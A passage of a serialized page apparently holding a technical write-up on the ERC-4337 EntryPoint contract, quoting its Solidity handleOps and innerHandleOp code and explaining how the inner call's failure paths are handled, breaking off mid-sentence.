assembly",{"type":24,"tag":158,"props":106275,"children":106276},{"style":188},[106277],{"type":29,"value":2262},{"type":24,"tag":158,"props":106279,"children":106280},{"style":1108},[106281],{"type":29,"value":106282},"\"memory-safe\"",{"type":24,"tag":158,"props":106284,"children":106285},{"style":188},[106286],{"type":29,"value":16038},{"type":24,"tag":158,"props":106288,"children":106289},{"class":160,"line":1652},[106290,106295,106299,106303,106307,106312,106316,106320,106324,106328,106332,106336,106341,106346,106350,106355,106360,106364,106368,106372],{"type":24,"tag":158,"props":106291,"children":106292},{"style":188},[106293],{"type":29,"value":106294}," success ",{"type":24,"tag":158,"props":106296,"children":106297},{"style":222},[106298],{"type":29,"value":22851},{"type":24,"tag":158,"props":106300,"children":106301},{"style":496},[106302],{"type":29,"value":42228},{"type":24,"tag":158,"props":106304,"children":106305},{"style":188},[106306],{"type":29,"value":504},{"type":24,"tag":158,"props":106308,"children":106309},{"style":496},[106310],{"type":29,"value":106311},"gas",{"type":24,"tag":158,"props":106313,"children":106314},{"style":188},[106315],{"type":29,"value":19615},{"type":24,"tag":158,"props":106317,"children":106318},{"style":171},[106319],{"type":29,"value":33902},{"type":24,"tag":158,"props":106321,"children":106322},{"style":188},[106323],{"type":29,"value":19615},{"type":24,"tag":158,"props":106325,"children":106326},{"style":465},[106327],{"type":29,"value":5682},{"type":24,"tag":158,"props":106329,"children":106330},{"style":188},[106331],{"type":29,"value":191},{"type":24,"tag":158,"props":106333,"children":106334},{"style":496},[106335],{"type":29,"value":426},{"type":24,"tag":158,"props":106337,"children":106338},{"style":188},[106339],{"type":29,"value":106340},"(innerCall, ",{"type":24,"tag":158,"props":106342,"children":106343},{"style":465},[106344],{"type":29,"value":106345},"0x20",{"type":24,"tag":158,"props":106347,"children":106348},{"style":188},[106349],{"type":29,"value":16412},{"type":24,"tag":158,"props":106351,"children":106352},{"style":496},[106353],{"type":29,"value":106354},"mload",{"type":24,"tag":158,"props":106356,"children":106357},{"style":188},[106358],{"type":29,"value":106359},"(innerCall), ",{"type":24,"tag":158,"props":106361,"children":106362},{"style":465},[106363],{"type":29,"value":5682},{"type":24,"tag":158,"props":106365,"children":106366},{"style":188},[106367],{"type":29,"value":191},{"type":24,"tag":158,"props":106369,"children":106370},{"style":465},[106371],{"type":29,"value":61620},{"type":24,"tag":158,"props":106373,"children":106374},{"style":188},[106375],{"type":29,"value":2125},{"type":24,"tag":158,"props":106377,"children":106378},{"class":160,"line":1704},[106379,106384,106388,106393,106397,106401],{"type":24,"tag":158,"props":106380,"children":106381},{"style":188},[106382],{"type":29,"value":106383}," collected ",{"type":24,"tag":158,"props":106385,"children":106386},{"style":222},[106387],{"type":29,"value":22851},{"type":24,"tag":158,"props":106389,"children":106390},{"style":496},[106391],{"type":29,"value":106392}," mload",{"type":24,"tag":158,"props":106394,"children":106395},{"style":188},[106396],{"type":29,"value":504},{"type":24,"tag":158,"props":106398,"children":106399},{"style":465},[106400],{"type":29,"value":5682},{"type":24,"tag":158,"props":106402,"children":106403},{"style":188},[106404],{"type":29,"value":2125},{"type":24,"tag":158,"props":106406,"children":106407},{"class":160,"line":1713},[106408],{"type":24,"tag":158,"props":106409,"children":106410},{"style":188},[106411],{"type":29,"value":60158},{"type":24,"tag":158,"props":106413,"children":106414},{"class":160,"line":1731},[106415,106420],{"type":24,"tag":158,"props":106416,"children":106417},{"style":496},[106418],{"type":29,"value":106419}," _restoreFreePtr",{"type":24,"tag":158,"props":106421,"children":106422},{"style":188},[106423],{"type":29,"value":106424},"(saveFreePtr);\n",{"type":24,"tag":158,"props":106426,"children":106427},{"class":160,"line":5485},[106428],{"type":24,"tag":158,"props":106429,"children":106430},{"style":188},[106431],{"type":29,"value":5010},{"type":24,"tag":158,"props":106433,"children":106434},{"class":160,"line":5493},[106435,106439,106443,106447],{"type":24,"tag":158,"props":106436,"children":106437},{"style":1914},[106438],{"type":29,"value":4936},{"type":24,"tag":158,"props":106440,"children":106441},{"style":188},[106442],{"type":29,"value":2262},{"type":24,"tag":158,"props":106444,"children":106445},{"style":222},[106446],{"type":29,"value":21865},{"type":24,"tag":158,"props":106448,"children":106449},{"style":188},[106450],{"type":29,"value":106451},"success) {\n",{"type":24,"tag":158,"props":106453,"children":106454},{"class":160,"line":5553},[106455],{"type":24,"tag":158,"props":106456,"children":106457},{"style":188},[106458],{"type":29,"value":106079},{"type":24,"tag":158,"props":106460,"children":106461},{"class":160,"line":10636},[106462,106466,106471,106475],{"type":24,"tag":158,"props":106463,"children":106464},{"style":1914},[106465],{"type":29,"value":60074},{"type":24,"tag":158,"props":106467,"children":106468},{"style":188},[106469],{"type":29,"value":106470}," (innerRevertCode ",{"type":24,"tag":158,"props":106472,"children":106473},{"style":222},[106474],{"type":29,"value":1034},{"type":24,"tag":158,"props":106476,"children":106477},{"style":188},[106478],{"type":29,"value":106479}," INNER_OUT_OF_GAS) {\n",{"type":24,"tag":158,"props":106481,"children":106482},{"class":160,"line":10652},[106483],{"type":24,"tag":158,"props":106484,"children":106485},{"style":2588},[106486],{"type":29,"value":106487}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":24,"tag":158,"props":106489,"children":106490},{"class":160,"line":10696},[106491],{"type":24,"tag":158,"props":106492,"children":106493},{"style":2588},[106494],{"type":29,"value":106495}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":24,"tag":158,"props":106497,"children":106498},{"class":160,"line":10801},[106499,106504,106509,106514,106519],{"type":24,"tag":158,"props":106500,"children":106501},{"style":1914},[106502],{"type":29,"value":106503}," revert",{"type":24,"tag":158,"props":106505,"children":106506},{"style":496},[106507],{"type":29,"value":106508}," FailedOp",{"type":24,"tag":158,"props":106510,"children":106511},{"style":188},[106512],{"type":29,"value":106513},"(opIndex, ",{"type":24,"tag":158,"props":106515,"children":106516},{"style":1108},[106517],{"type":29,"value":106518},"\"AA95 out of gas\"",{"type":24,"tag":158,"props":106520,"children":106521},{"style":188},[106522],{"type":29,"value":1071},{"type":24,"tag":158,"props":106524,"children":106525},{"class":160,"line":24754},[106526,106530,106534,106538,106542,106546],{"type":24,"tag":158,"props":106527,"children":106528},{"style":188},[106529],{"type":29,"value":71870},{"type":24,"tag":158,"props":106531,"children":106532},{"style":1914},[106533],{"type":29,"value":4978},{"type":24,"tag":158,"props":106535,"children":106536},{"style":1914},[106537],{"type":29,"value":17024},{"type":24,"tag":158,"props":106539,"children":106540},{"style":188},[106541],{"type":29,"value":106470},{"type":24,"tag":158,"props":106543,"children":106544},{"style":222},[106545],{"type":29,"value":1034},{"type":24,"tag":158,"props":106547,"children":106548},{"style":188},[106549],{"type":29,"value":106550}," INNER_REVERT_LOW_PREFUND) {\n",{"type":24,"tag":158,"props":106552,"children":106553},{"class":160,"line":24789},[106554],{"type":24,"tag":158,"props":106555,"children":106556},{"style":2588},[106557],{"type":29,"value":106558}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":24,"tag":158,"props":106560,"children":106561},{"class":160,"line":24797},[106562,106566,106571,106575,106580,106584,106589,106593,106597],{"type":24,"tag":158,"props":106563,"children":106564},{"style":171},[106565],{"type":29,"value":104738},{"type":24,"tag":158,"props":106567,"children":106568},{"style":188},[106569],{"type":29,"value":106570}," actualGas ",{"type":24,"tag":158,"props":106572,"children":106573},{"style":222},[106574],{"type":29,"value":1285},{"type":24,"tag":158,"props":106576,"children":106577},{"style":188},[106578],{"type":29,"value":106579}," preGas ",{"type":24,"tag":158,"props":106581,"children":106582},{"style":222},[106583],{"type":29,"value":5987},{"type":24,"tag":158,"props":106585,"children":106586},{"style":165},[106587],{"type":29,"value":106588}," gasleft",{"type":24,"tag":158,"props":106590,"children":106591},{"style":188},[106592],{"type":29,"value":15277},{"type":24,"tag":158,"props":106594,"children":106595},{"style":222},[106596],{"type":29,"value":728},{"type":24,"tag":158,"props":106598,"children":106599},{"style":188},[106600],{"type":29,"value":106601}," opInfo.preOpGas;\n",{"type":24,"tag":158,"props":106603,"children":106604},{"class":160,"line":24805},[106605,106609,106613,106617],{"type":24,"tag":158,"props":106606,"children":106607},{"style":171},[106608],{"type":29,"value":104738},{"type":24,"tag":158,"props":106610,"children":106611},{"style":188},[106612],{"type":29,"value":105385},{"type":24,"tag":158,"props":106614,"children":106615},{"style":222},[106616],{"type":29,"value":1285},{"type":24,"tag":158,"props":106618,"children":106619},{"style":188},[106620],{"type":29,"value":106621}," opInfo.prefund;\n",{"type":24,"tag":158,"props":106623,"children":106624},{"class":160,"line":24814},[106625,106630],{"type":24,"tag":158,"props":106626,"children":106627},{"style":496},[106628],{"type":29,"value":106629}," _emitPrefundTooLow",{"type":24,"tag":158,"props":106631,"children":106632},{"style":188},[106633],{"type":29,"value":106634},"(opInfo);\n",{"type":24,"tag":158,"props":106636,"children":106637},{"class":160,"line":24856},[106638,106643,106648,106652],{"type":24,"tag":158,"props":106639,"children":106640},{"style":496},[106641],{"type":29,"value":106642}," _emitUserOperationEvent",{"type":24,"tag":158,"props":106644,"children":106645},{"style":188},[106646],{"type":29,"value":106647},"(opInfo, ",{"type":24,"tag":158,"props":106649,"children":106650},{"style":165},[106651],{"type":29,"value":4404},{"type":24,"tag":158,"props":106653,"children":106654},{"style":188},[106655],{"type":29,"value":106656},", actualGasCost, actualGas);\n",{"type":24,"tag":158,"props":106658,"children":106659},{"class":160,"line":24889},[106660,106664,106668],{"type":24,"tag":158,"props":106661,"children":106662},{"style":188},[106663],{"type":29,"value":106383},{"type":24,"tag":158,"props":106665,"children":106666},{"style":222},[106667],{"type":29,"value":1285},{"type":24,"tag":158,"props":106669,"children":106670},{"style":188},[106671],{"type":29,"value":106672}," actualGasCost;\n",{"type":24,"tag":158,"props":106674,"children":106675},{"class":160,"line":24897},[106676,106680,106684],{"type":24,"tag":158,"props":106677,"children":106678},{"style":188},[106679],{"type":29,"value":71870},{"type":24,"tag":158,"props":106681,"children":106682},{"style":1914},[106683],{"type":29,"value":4978},{"type":24,"tag":158,"props":106685,"children":106686},{"style":188},[106687],{"type":29,"value":210},{"type":24,"tag":158,"props":106689,"children":106690},{"class":160,"line":24905},[106691],{"type":24,"tag":158,"props":106692,"children":106693},{"style":188},[106694],{"type":29,"value":106079},{"type":24,"tag":158,"props":106696,"children":106697},{"class":160,"line":24914},[106698,106702,106706,106711],{"type":24,"tag":158,"props":106699,"children":106700},{"style":188},[106701],{"type":29,"value":106383},{"type":24,"tag":158,"props":106703,"children":106704},{"style":222},[106705],{"type":29,"value":1285},{"type":24,"tag":158,"props":106707,"children":106708},{"style":496},[106709],{"type":29,"value":106710}," _postExecution",{"type":24,"tag":158,"props":106712,"children":106713},{"style":188},[106714],{"type":29,"value":2156},{"type":24,"tag":158,"props":106716,"children":106717},{"class":160,"line":24990},[106718],{"type":24,"tag":158,"props":106719,"children":106720},{"style":188},[106721],{"type":29,"value":106722}," IPaymaster.PostOpMode.postOpReverted,\n",{"type":24,"tag":158,"props":106724,"children":106725},{"class":160,"line":25023},[106726],{"type":24,"tag":158,"props":106727,"children":106728},{"style":188},[106729],{"type":29,"value":106730}," opInfo,\n",{"type":24,"tag":158,"props":106732,"children":106733},{"class":160,"line":25031},[106734],{"type":24,"tag":158,"props":106735,"children":106736},{"style":188},[106737],{"type":29,"value":106738}," context,\n",{"type":24,"tag":158,"props":106740,"children":106741},{"class":160,"line":25039},[106742],{"type":24,"tag":158,"props":106743,"children":106744},{"style":188},[106745],{"type":29,"value":106746}," actualGas\n",{"type":24,"tag":158,"props":106748,"children":106749},{"class":160,"line":25076},[106750],{"type":24,"tag":158,"props":106751,"children":106752},{"style":188},[106753],{"type":29,"value":106754}," );\n",{"type":24,"tag":158,"props":106756,"children":106757},{"class":160,"line":25089},[106758],{"type":24,"tag":158,"props":106759,"children":106760},{"style":188},[106761],{"type":29,"value":60158},{"type":24,"tag":158,"props":106763,"children":106764},{"class":160,"line":25102},[106765],{"type":24,"tag":158,"props":106766,"children":106767},{"style":188},[106768],{"type":29,"value":5010},{"type":24,"tag":158,"props":106770,"children":106771},{"class":160,"line":25115},[106772],{"type":24,"tag":158,"props":106773,"children":106774},{"style":188},[106775],{"type":29,"value":3967},{"type":24,"tag":25,"props":106777,"children":106778},{},[106779,106781,106786,106788,106794,106796,106802,106804,106810],{"type":29,"value":106780},"During execution, the ",{"type":24,"tag":154,"props":106782,"children":106784},{"className":106783},[],[106785],{"type":29,"value":103541},{"type":29,"value":106787}," contract makes a ",{"type":24,"tag":101,"props":106789,"children":106792},{"href":106790,"rel":106791},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[105],[106793],{"type":29,"value":39560},{"type":29,"value":106795}," to its own ",{"type":24,"tag":154,"props":106797,"children":106799},{"className":106798},[],[106800],{"type":29,"value":106801},"innerHandleOp",{"type":29,"value":106803}," function through a low-level ",{"type":24,"tag":154,"props":106805,"children":106807},{"className":106806},[],[106808],{"type":29,"value":106809},"call()",{"type":29,"value":106811},". This is done to create a new call context for executing the user operation.",{"type":24,"tag":25,"props":106813,"children":106814},{},[106815,106817,106823,106824,106829,106831,106838,106840,106846],{"type":29,"value":106816},"If this call fails (when ",{"type":24,"tag":154,"props":106818,"children":106820},{"className":106819},[],[106821],{"type":29,"value":106822},"success",{"type":29,"value":816},{"type":24,"tag":154,"props":106825,"children":106827},{"className":106826},[],[106828],{"type":29,"value":4404},{"type":29,"value":106830},"), the code enters an ",{"type":24,"tag":101,"props":106832,"children":106835},{"href":106833,"rel":106834},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[105],[106836],{"type":29,"value":106837},"error handling",{"type":29,"value":106839}," flow that checks the ",{"type":24,"tag":154,"props":106841,"children":106843},{"className":106842},[],[106844],{"type":29,"value":106845},"innerRevertCode",{"type":29,"value":106847},". There are three possible paths:",{"type":24,"tag":1786,"props":106849,"children":106850},{},[106851,106875,106893],{"type":24,"tag":1790,"props":106852,"children":106853},{},[106854,106855,106860,106861,106867,106869,106874],{"type":29,"value":9121},{"type":24,"tag":154,"props":106856,"children":106858},{"className":106857},[],[106859],{"type":29,"value":106845},{"type":29,"value":816},{"type":24,"tag":154,"props":106862,"children":106864},{"className":106863},[],[106865],{"type":29,"value":106866},"INNER_OUT_OF_GAS",{"type":29,"value":106868},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":24,"tag":154,"props":106870,"children":106872},{"className":106871},[],[106873],{"type":29,"value":106518},{"type":29,"value":347},{"type":24,"tag":1790,"props":106876,"children":106877},{},[106878,106879,106884,106885,106891],{"type":29,"value":9121},{"type":24,"tag":154,"props":106880,"children":106882},{"className":106881},[],[106883],{"type":29,"value":106845},{"type":29,"value":816},{"type":24,"tag":154,"props":106886,"children":106888},{"className":106887},[],[106889],{"type":29,"value":106890},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":106892},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":24,"tag":1790,"props":106894,"children":106895},{},[106896,106898,106904,106906,106912],{"type":29,"value":106897},"For any other revert reason, the code will still call ",{"type":24,"tag":154,"props":106899,"children":106901},{"className":106900},[],[106902],{"type":29,"value":106903},"_postExecution()",{"type":29,"value":106905}," but with ",{"type":24,"tag":154,"props":106907,"children":106909},{"className":106908},[],[106910],{"type":29,"value":106911},"PostOpMode.postOpReverted",{"type":29,"value":106913},". This ensures proper cleanup happens even on failure.",{"type":24,"tag":25,"props":106915,"children":106916},{},[106917,106919,106924,106926,106931,106933,106938,106940,106945],{"type":29,"value":106918},"We're particularly interested in the third error path, where ",{"type":24,"tag":154,"props":106920,"children":106922},{"className":106921},[],[106923],{"type":29,"value":106845},{"type":29,"value":106925}," is neither ",{"type":24,"tag":154,"props":106927,"children":106929},{"className":106928},[],[106930],{"type":29,"value":106866},{"type":29,"value":106932}," nor ",{"type":24,"tag":154,"props":106934,"children":106936},{"className":106935},[],[106937],{"type":29,"value":106890},{"type":29,"value":106939},". To understand this case better, let's examine how ",{"type":24,"tag":154,"props":106941,"children":106943},{"className":106942},[],[106944],{"type":29,"value":106801},{"type":29,"value":106946}," works.",{"type":24,"tag":147,"props":106948,"children":106950},{"className":6134,"code":106949,"language":6133,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[106951],{"type":24,"tag":154,"props":106952,"children":106953},{"__ignoreMap":7},[106954,106970,106991,107011,107027,107060,107067,107084,107108,107148,107167,107192,107226,107250,107267,107275,107283,107291,107299,107307,107314,107327,107344,107351,107358,107365,107376,107415,107431,107438],{"type":24,"tag":158,"props":106955,"children":106956},{"class":160,"line":161},[106957,106961,106966],{"type":24,"tag":158,"props":106958,"children":106959},{"style":165},[106960],{"type":29,"value":91109},{"type":24,"tag":158,"props":106962,"children":106963},{"style":496},[106964],{"type":29,"value":106965}," innerHandleOp",{"type":24,"tag":158,"props":106967,"children":106968},{"style":188},[106969],{"type":29,"value":2156},{"type":24,"tag":158,"props":106971,"children":106972},{"class":160,"line":213},[106973,106978,106982,106987],{"type":24,"tag":158,"props":106974,"children":106975},{"style":171},[106976],{"type":29,"value":106977}," bytes",{"type":24,"tag":158,"props":106979,"children":106980},{"style":165},[106981],{"type":29,"value":104358},{"type":24,"tag":158,"props":106983,"children":106984},{"style":177},[106985],{"type":29,"value":106986}," callData",{"type":24,"tag":158,"props":106988,"children":106989},{"style":188},[106990],{"type":29,"value":235},{"type":24,"tag":158,"props":106992,"children":106993},{"class":160,"line":238},[106994,106998,107002,107007],{"type":24,"tag":158,"props":106995,"children":106996},{"style":165},[106997],{"type":29,"value":106018},{"type":24,"tag":158,"props":106999,"children":107000},{"style":165},[107001],{"type":29,"value":104358},{"type":24,"tag":158,"props":107003,"children":107004},{"style":177},[107005],{"type":29,"value":107006}," opInfo",{"type":24,"tag":158,"props":107008,"children":107009},{"style":188},[107010],{"type":29,"value":235},{"type":24,"tag":158,"props":107012,"children":107013},{"class":160,"line":259},[107014,107018,107022],{"type":24,"tag":158,"props":107015,"children":107016},{"style":171},[107017],{"type":29,"value":106977},{"type":24,"tag":158,"props":107019,"children":107020},{"style":165},[107021],{"type":29,"value":104290},{"type":24,"tag":158,"props":107023,"children":107024},{"style":177},[107025],{"type":29,"value":107026}," context\n",{"type":24,"tag":158,"props":107028,"children":107029},{"class":160,"line":280},[107030,107035,107040,107044,107048,107052,107056],{"type":24,"tag":158,"props":107031,"children":107032},{"style":188},[107033],{"type":29,"value":107034}," ) ",{"type":24,"tag":158,"props":107036,"children":107037},{"style":165},[107038],{"type":29,"value":107039},"external",{"type":24,"tag":158,"props":107041,"children":107042},{"style":1914},[107043],{"type":29,"value":77271},{"type":24,"tag":158,"props":107045,"children":107046},{"style":188},[107047],{"type":29,"value":2262},{"type":24,"tag":158,"props":107049,"children":107050},{"style":171},[107051],{"type":29,"value":47438},{"type":24,"tag":158,"props":107053,"children":107054},{"style":177},[107055],{"type":29,"value":105099},{"type":24,"tag":158,"props":107057,"children":107058},{"style":188},[107059],{"type":29,"value":16038},{"type":24,"tag":158,"props":107061,"children":107062},{"class":160,"line":301},[107063],{"type":24,"tag":158,"props":107064,"children":107065},{"style":188},[107066],{"type":29,"value":106079},{"type":24,"tag":158,"props":107068,"children":107069},{"class":160,"line":626},[107070,107075,107079],{"type":24,"tag":158,"props":107071,"children":107072},{"style":188},[107073],{"type":29,"value":107074}," IPaymaster.PostOpMode mode ",{"type":24,"tag":158,"props":107076,"children":107077},{"style":222},[107078],{"type":29,"value":1285},{"type":24,"tag":158,"props":107080,"children":107081},{"style":188},[107082],{"type":29,"value":107083}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":24,"tag":158,"props":107085,"children":107086},{"class":160,"line":668},[107087,107091,107096,107100,107104],{"type":24,"tag":158,"props":107088,"children":107089},{"style":1914},[107090],{"type":29,"value":4936},{"type":24,"tag":158,"props":107092,"children":107093},{"style":188},[107094],{"type":29,"value":107095}," (callData.length ",{"type":24,"tag":158,"props":107097,"children":107098},{"style":222},[107099],{"type":29,"value":1280},{"type":24,"tag":158,"props":107101,"children":107102},{"style":465},[107103],{"type":29,"value":2025},{"type":24,"tag":158,"props":107105,"children":107106},{"style":188},[107107],{"type":29,"value":16038},{"type":24,"tag":158,"props":107109,"children":107110},{"class":160,"line":676},[107111,107116,107121,107125,107130,107134,107139,107143],{"type":24,"tag":158,"props":107112,"children":107113},{"style":171},[107114],{"type":29,"value":107115}," bool",{"type":24,"tag":158,"props":107117,"children":107118},{"style":188},[107119],{"type":29,"value":107120}," success ",{"type":24,"tag":158,"props":107122,"children":107123},{"style":222},[107124],{"type":29,"value":1285},{"type":24,"tag":158,"props":107126,"children":107127},{"style":188},[107128],{"type":29,"value":107129}," Exec.",{"type":24,"tag":158,"props":107131,"children":107132},{"style":496},[107133],{"type":29,"value":39560},{"type":24,"tag":158,"props":107135,"children":107136},{"style":188},[107137],{"type":29,"value":107138},"(mUserOp.sender, ",{"type":24,"tag":158,"props":107140,"children":107141},{"style":465},[107142],{"type":29,"value":5682},{"type":24,"tag":158,"props":107144,"children":107145},{"style":188},[107146],{"type":29,"value":107147},", callData, callGasLimit);\n",{"type":24,"tag":158,"props":107149,"children":107150},{"class":160,"line":684},[107151,107155,107159,107163],{"type":24,"tag":158,"props":107152,"children":107153},{"style":1914},[107154],{"type":29,"value":60074},{"type":24,"tag":158,"props":107156,"children":107157},{"style":188},[107158],{"type":29,"value":2262},{"type":24,"tag":158,"props":107160,"children":107161},{"style":222},[107162],{"type":29,"value":21865},{"type":24,"tag":158,"props":107164,"children":107165},{"style":188},[107166],{"type":29,"value":106451},{"type":24,"tag":158,"props":107168,"children":107169},{"class":160,"line":700},[107170,107174,107179,107183,107188],{"type":24,"tag":158,"props":107171,"children":107172},{"style":171},[107173],{"type":29,"value":104738},{"type":24,"tag":158,"props":107175,"children":107176},{"style":188},[107177],{"type":29,"value":107178}," freePtr ",{"type":24,"tag":158,"props":107180,"children":107181},{"style":222},[107182],{"type":29,"value":1285},{"type":24,"tag":158,"props":107184,"children":107185},{"style":496},[107186],{"type":29,"value":107187}," _getFreePtr",{"type":24,"tag":158,"props":107189,"children":107190},{"style":188},[107191],{"type":29,"value":5329},{"type":24,"tag":158,"props":107193,"children":107194},{"class":160,"line":785},[107195,107199,107203,107208,107212,107216,107221],{"type":24,"tag":158,"props":107196,"children":107197},{"style":171},[107198],{"type":29,"value":106135},{"type":24,"tag":158,"props":107200,"children":107201},{"style":165},[107202],{"type":29,"value":104358},{"type":24,"tag":158,"props":107204,"children":107205},{"style":188},[107206],{"type":29,"value":107207}," result ",{"type":24,"tag":158,"props":107209,"children":107210},{"style":222},[107211],{"type":29,"value":1285},{"type":24,"tag":158,"props":107213,"children":107214},{"style":188},[107215],{"type":29,"value":107129},{"type":24,"tag":158,"props":107217,"children":107218},{"style":496},[107219],{"type":29,"value":107220},"getReturnData",{"type":24,"tag":158,"props":107222,"children":107223},{"style":188},[107224],{"type":29,"value":107225},"(REVERT_REASON_MAX_LEN);\n",{"type":24,"tag":158,"props":107227,"children":107228},{"class":160,"line":1447},[107229,107233,107238,107242,107246],{"type":24,"tag":158,"props":107230,"children":107231},{"style":1914},[107232],{"type":29,"value":104798},{"type":24,"tag":158,"props":107234,"children":107235},{"style":188},[107236],{"type":29,"value":107237}," (result.length ",{"type":24,"tag":158,"props":107239,"children":107240},{"style":222},[107241],{"type":29,"value":1280},{"type":24,"tag":158,"props":107243,"children":107244},{"style":465},[107245],{"type":29,"value":2025},{"type":24,"tag":158,"props":107247,"children":107248},{"style":188},[107249],{"type":29,"value":16038},{"type":24,"tag":158,"props":107251,"children":107252},{"class":160,"line":1509},[107253,107258,107263],{"type":24,"tag":158,"props":107254,"children":107255},{"style":1914},[107256],{"type":29,"value":107257}," emit",{"type":24,"tag":158,"props":107259,"children":107260},{"style":496},[107261],{"type":29,"value":107262}," UserOperationRevertReason",{"type":24,"tag":158,"props":107264,"children":107265},{"style":188},[107266],{"type":29,"value":2156},{"type":24,"tag":158,"props":107268,"children":107269},{"class":160,"line":1527},[107270],{"type":24,"tag":158,"props":107271,"children":107272},{"style":188},[107273],{"type":29,"value":107274}," opInfo.userOpHash,\n",{"type":24,"tag":158,"props":107276,"children":107277},{"class":160,"line":1545},[107278],{"type":24,"tag":158,"props":107279,"children":107280},{"style":188},[107281],{"type":29,"value":107282}," mUserOp.sender,\n",{"type":24,"tag":158,"props":107284,"children":107285},{"class":160,"line":1618},[107286],{"type":24,"tag":158,"props":107287,"children":107288},{"style":188},[107289],{"type":29,"value":107290}," mUserOp.nonce,\n",{"type":24,"tag":158,"props":107292,"children":107293},{"class":160,"line":1635},[107294],{"type":24,"tag":158,"props":107295,"children":107296},{"style":188},[107297],{"type":29,"value":107298}," result\n",{"type":24,"tag":158,"props":107300,"children":107301},{"class":160,"line":1644},[107302],{"type":24,"tag":158,"props":107303,"children":107304},{"style":188},[107305],{"type":29,"value":107306}," );\n",{"type":24,"tag":158,"props":107308,"children":107309},{"class":160,"line":1652},[107310],{"type":24,"tag":158,"props":107311,"children":107312},{"style":188},[107313],{"type":29,"value":72347},{"type":24,"tag":158,"props":107315,"children":107316},{"class":160,"line":1704},[107317,107322],{"type":24,"tag":158,"props":107318,"children":107319},{"style":496},[107320],{"type":29,"value":107321}," _restoreFreePtr",{"type":24,"tag":158,"props":107323,"children":107324},{"style":188},[107325],{"type":29,"value":107326},"(freePtr);\n",{"type":24,"tag":158,"props":107328,"children":107329},{"class":160,"line":1713},[107330,107335,107339],{"type":24,"tag":158,"props":107331,"children":107332},{"style":188},[107333],{"type":29,"value":107334}," mode ",{"type":24,"tag":158,"props":107336,"children":107337},{"style":222},[107338],{"type":29,"value":1285},{"type":24,"tag":158,"props":107340,"children":107341},{"style":188},[107342],{"type":29,"value":107343}," IPaymaster.PostOpMode.opReverted;\n",{"type":24,"tag":158,"props":107345,"children":107346},{"class":160,"line":1731},[107347],{"type":24,"tag":158,"props":107348,"children":107349},{"style":188},[107350],{"type":29,"value":60158},{"type":24,"tag":158,"props":107352,"children":107353},{"class":160,"line":5485},[107354],{"type":24,"tag":158,"props":107355,"children":107356},{"style":188},[107357],{"type":29,"value":5010},{"type":24,"tag":158,"props":107359,"children":107360},{"class":160,"line":5493},[107361],{"type":24,"tag":158,"props":107362,"children":107363},{"emptyLinePlaceholder":16},[107364],{"type":29,"value":481},{"type":24,"tag":158,"props":107366,"children":107367},{"class":160,"line":5553},[107368,107372],{"type":24,"tag":158,"props":107369,"children":107370},{"style":1914},[107371],{"type":29,"value":104394},{"type":24,"tag":158,"props":107373,"children":107374},{"style":188},[107375],{"type":29,"value":210},{"type":24,"tag":158,"props":107377,"children":107378},{"class":160,"line":10636},[107379,107383,107387,107391,107395,107399,107403,107407,107411],{"type":24,"tag":158,"props":107380,"children":107381},{"style":171},[107382],{"type":29,"value":104406},{"type":24,"tag":158,"props":107384,"children":107385},{"style":188},[107386],{"type":29,"value":106570},{"type":24,"tag":158,"props":107388,"children":107389},{"style":222},[107390],{"type":29,"value":1285},{"type":24,"tag":158,"props":107392,"children":107393},{"style":188},[107394],{"type":29,"value":106579},{"type":24,"tag":158,"props":107396,"children":107397},{"style":222},[107398],{"type":29,"value":5987},{"type":24,"tag":158,"props":107400,"children":107401},{"style":165},[107402],{"type":29,"value":106588},{"type":24,"tag":158,"props":107404,"children":107405},{"style":188},[107406],{"type":29,"value":15277},{"type":24,"tag":158,"props":107408,"children":107409},{"style":222},[107410],{"type":29,"value":728},{"type":24,"tag":158,"props":107412,"children":107413},{"style":188},[107414],{"type":29,"value":106601},{"type":24,"tag":158,"props":107416,"children":107417},{"class":160,"line":10652},[107418,107422,107426],{"type":24,"tag":158,"props":107419,"children":107420},{"style":1914},[107421],{"type":29,"value":80354},{"type":24,"tag":158,"props":107423,"children":107424},{"style":496},[107425],{"type":29,"value":106710},{"type":24,"tag":158,"props":107427,"children":107428},{"style":188},[107429],{"type":29,"value":107430},"(mode, opInfo, context, actualGas);\n",{"type":24,"tag":158,"props":107432,"children":107433},{"class":160,"line":10696},[107434],{"type":24,"tag":158,"props":107435,"children":107436},{"style":188},[107437],{"type":29,"value":5010},{"type":24,"tag":158,"props":107439,"children":107440},{"class":160,"line":10801},[107441],{"type":24,"tag":158,"props":107442,"children":107443},{"style":188},[107444],{"type":29,"value":3967},{"type":24,"tag":25,"props":107446,"children":107447},{},[107448,107450,107455,107457,107462,107464,107470,107472,107478,107480,107485,107487,107497],{"type":29,"value":107449},"We observe that, in the happy path, ",{"type":24,"tag":154,"props":107451,"children":107453},{"className":107452},[],[107454],{"type":29,"value":106801},{"type":29,"value":107456}," is expected to not only execute the actual ",{"type":24,"tag":154,"props":107458,"children":107460},{"className":107459},[],[107461],{"type":29,"value":103460},{"type":29,"value":107463}," call, but also call ",{"type":24,"tag":154,"props":107465,"children":107467},{"className":107466},[],[107468],{"type":29,"value":107469},"_postExecution",{"type":29,"value":107471},". This means that the third failure handling path, 